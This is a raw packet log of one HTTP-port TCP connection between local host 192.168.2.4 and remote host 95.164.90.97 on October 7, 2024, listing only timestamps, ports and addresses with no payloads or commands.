Oct 7, 2024 03:15:39.818861961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818891048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818898916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818927050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818937063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818962097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818981886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818996906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819006920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819032907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819044113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819067955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819072008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819106102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819116116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819143057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819154024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819176912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819190979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819211006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819226027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819257975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.819294930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.819324017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839591026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839652061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839653015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839689970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839706898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839725971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839731932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839764118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839797020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839797020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839808941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839833975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.839859009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.839886904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.859937906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.859989882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860004902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860027075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860045910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860064983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860070944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860100985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860107899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860136032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860146046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860177040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860183001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860210896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.860223055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.860259056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.878665924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878698111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878734112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878736973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.878782988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.878792048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878829002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878839970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.878869057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.878882885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878928900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.878940105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878977060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.878988028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879012108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879023075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879049063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879056931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879085064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879091978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879122019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879127979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879157066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879173994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879195929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879225016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.879261971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879275084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.879276037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902688026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902723074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902754068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902776957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902786970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902816057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902837992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902853012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902861118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902889967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902898073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902945995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902950048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.902987003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.902990103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903034925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903045893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903096914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903100967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903158903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903183937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903194904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903202057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903238058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903251886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903286934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903301001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903332949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903340101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903374910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903414011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903424025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903451920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903500080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903510094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903544903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903557062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903592110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903600931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903634071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903646946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903667927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903682947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903703928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903717995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903738976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903753996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903788090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903794050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903837919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903847933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903882980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903897047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903928041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.903935909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903970003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.903985977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904005051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904021978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904038906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904052973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904076099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904081106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904120922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904130936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904165030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904194117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904222012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904248953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904277086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904282093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904310942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904325008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904345036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904380083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904380083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904393911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904417992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904428959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904460907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904474020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904520988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904526949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904561996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904567003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904604912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904613972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904653072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904690027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904707909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904714108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904758930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904764891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904799938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904807091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904844999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904854059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904889107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904896975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904925108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904936075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904963017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.904989004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.904997110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905018091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905030966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905040026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905069113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905100107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905103922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905112028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905137062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905149937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905173063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905183077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905209064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905220985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905245066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905273914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905277967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905287027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905313969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905318022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905344963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905364990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905378103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905390024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905415058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905422926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905451059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905471087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905484915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905498028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905523062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905528069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905560017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905570984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905595064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905608892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905628920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905639887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905663967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905673981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905698061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905709028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905731916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905747890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905769110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905778885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905806065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905833960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905842066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905844927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905878067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905885935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905913115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905920982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905947924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.905958891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.905983925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.906012058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.906018972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.906033993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.906053066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.906054020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.906090021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.906101942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.906127930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.906133890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.906204939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926482916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926542997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926542997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926578999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926603079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926620007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926636934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926655054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926685095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926691055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926727057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.926742077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926743031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.926770926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.946518898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946574926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946609020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946624041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.946657896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.946664095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946700096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946716070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.946734905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946743011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.946769953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.946775913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.946810007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.965749979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.965804100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.965852976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.965856075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.965892076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.965903997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.965903997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.965946913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.965948105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.965982914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.965996027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966020107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966027975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966056108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966065884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966092110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966104031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966126919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966137886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966162920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966177940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966201067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966208935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966237068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966250896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966272116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966286898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966306925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.966325045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.966360092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989546061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989588976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989648104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989655972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989670992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989711046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989716053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989772081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989789009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989833117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989846945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989869118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989877939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989905119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989907980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989940882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989952087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.989976883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.989984035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990011930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990024090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.990050077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.990106106 CEST	80	49737	95.164.90.97	192.168.2.4
